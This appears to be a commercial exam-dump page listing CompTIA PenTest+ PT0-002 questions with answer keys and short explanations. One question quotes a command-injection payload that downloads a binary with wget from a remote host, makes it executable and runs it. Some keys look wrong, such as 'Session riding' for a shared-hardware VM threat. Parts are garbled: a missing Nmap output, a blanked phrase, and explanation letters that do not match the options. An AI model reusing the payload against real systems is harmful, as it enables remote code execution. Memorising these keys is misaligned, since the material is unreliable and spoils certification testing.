Prepare With Top Rated High-quality PT0-002 Dumps For Success in PT0-002 Exam
PT0-002 Free Certification Exam Easy to Download PDF Format 2023
NEW QUESTION # 44
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?
- A. Whether the client's employees are trained properly to use the platform
- B. Whether the cloud applications were developed using a secure SDLC
- C. Whether sensitive client data is publicly accessible
- D. Whether the connection between the cloud and the client is secure
Answer: C
NEW QUESTION # 45
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?
- A. The tester is using an outdated version of the application
- B. The API server is using SSL instead of TLS
- C. The application has the API certificate pinned.
- D. TCP port 443 is not open on the firewall
Answer: C
NEW QUESTION # 46
A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?
- A. Situational awareness
- B. Deconfliction
- C. Rescheduling
- D. DDoS defense
Answer: B
Explanation:
Explanation
https://redteam.guide/docs/definitions/
Deconfliction is the process of coordinating activities and communicating information to avoid interference, confusion, or conflict among different parties involved in an operation. The network engineer contacted the penetration tester to check if the GET requests were part of the test, and to avoid any potential misunderstanding or disruption of the test or the website. The other options are not related to the purpose of checking with the penetration tester.
NEW QUESTION # 47
An Nmap scan of a network switch reveals the following:
Which of the following technical controls will most likely be the FIRST recommendation for this device?
- A. Network segmentation
- B. Multifactor authentication
- C. System-hardening techniques
- D. Encrypted passwords
Answer: C
NEW QUESTION # 48
An organization wants to identify whether a less secure protocol is being utilized on a wireless network.
Which of the following types of attacks will achieve this goal?
- A. Packet sniffing
- B. Protocol negotiation
- C. Downgrade attack
- D. Four-way handshake
Answer: C
Explanation:
Explanation
A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airgeddon, which is a multi-use bash script for Linux systems to audit wireless networks1.
NEW QUESTION # 49
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?
- A. iam_backdoor_assume_role
- B. iam_bruteforce_permissions
- C. iam_privesc_scan
- D. iam_enum_permissions
Answer: D
Explanation:
Explanation
The iam_enum_permissions module will enable the tester to determine the level of access of the existing user in the cloud environment of a company, as it will list all permissions associated with an IAM user3. IAM (Identity and Access Management) is a service that enables users to manage access and permissions for AWS resources. Pacu is a tool that can be used to perform penetration testing on AWS environments4.
NEW QUESTION # 50
A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?
- A. nmap -sA -v -O 192.168.1.2/24
- B. nmap -sS -O 192.168.1.2/24 -T1
- C. nmap -sT -vvv -O 192.168.1.2/24 -PO
- D. nmap -sV 192.168.1.2/24 -PO
Answer: B
NEW QUESTION # 51
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen.
A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Credential harvesting
- B. Malware injection
- C. Direct-to-origin
- D. Cross-site scripting
Answer: C
NEW QUESTION # 52
A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?
- A. Buffer overflows
- B. Weak authentication schemes
- C. Non-optimized resource management
- D. Credentials stored in strings
Answer: A
Explanation:
Explanation
fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues
NEW QUESTION # 53
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client.
Which of the following best describes the NEXT step in the engagement?
- A. Review of the lessons learned during the engagement
- B. Acceptance by the client and sign-off on the final report
- C. Scheduling of follow-up actions and retesting
- D. Attestation of findings and delivery of the report
Answer: D
NEW QUESTION # 54
Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
- A. Analyze the malware to see what it does.
- B. Stop the assessment and inform the emergency contact.
- C. Remove the malware immediately.
- D. Collect the proper evidence and then remove the malware.
- E. Do a root-cause analysis to find out how the malware got in.
Answer: B
NEW QUESTION # 55
Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. val++
- B. val=(val+1)
- C. ++val
- D. val+=1
- E. val=val++
- F. +val
Answer: B,D
Explanation:
https://pythonguides.com/increment-and-decrement-operators-in-python/
NEW QUESTION # 56
During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?
- A. The tester IP was blocked.
- B. The web page was not found.
- C. The scanner crashed the system.
- D. The SSL certificates were invalid.
Answer: A
Explanation:
Explanation
The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.
NEW QUESTION # 57
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
- A. Cybersquatting
- B. Session riding
- C. Side channel
- D. Data flooding
Answer: B
NEW QUESTION # 58
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?
- A. rm -rf /tmp/apache
- B. grep -v apache ~/.bash_history > ~/.bash_history
- C. taskkill /IM "apache" /F
- D. chmod 600 /tmp/apache
Answer: A
NEW QUESTION # 59
A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?
- A. "cisco-ios" "default-passwords"
- B. "cisco-ios" "admin+1234"
- C. "cisco-ios" "no-password"
- D. "cisco-ios" "last-modified"
Answer: C
NEW QUESTION # 60
A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue.
Which of the following would BEST protect against this vulnerability?
- A. Key rotation
- B. Patch management
- C. Network segmentation
- D. Encrypted passwords
Answer: B
Explanation:
Explanation
Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.
Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.
Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.
Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.
NEW QUESTION # 61
In Python socket programming, SOCK_DGRAM type is:
- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.
Answer: C
Explanation:
Explanation
In Python socket programming, SOCK_DGRAM type is connectionless. This means that the socket does not establish a reliable connection between the sender and the receiver, and does not guarantee that the packets will arrive in order or without errors. SOCK_DGRAM type is used for UDP (User Datagram Protocol) sockets, which are faster and simpler than TCP (Transmission Control Protocol) sockets3.
NEW QUESTION # 62
During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support ------------company systems?
- A. A command injection attack
- B. A watering-hole attack
- C. A cross-site scripting attack
- D. Aside-channel attack
Answer: B
Explanation:
Explanation
The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them2. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.
NEW QUESTION # 63
......
Get 100% Success with Latest CompTIA PenTest+ PT0-002 Exam Dumps: https://www.troytecdumps.com/PT0-002-troytec-exam-dumps.html
The Best PT0-002 Exam Study Material and Preparation Test Question Dumps: https://drive.google.com/open?id=1Wgf2t7B9Fb_6EX4CvlLG9-2S2CSN-LVO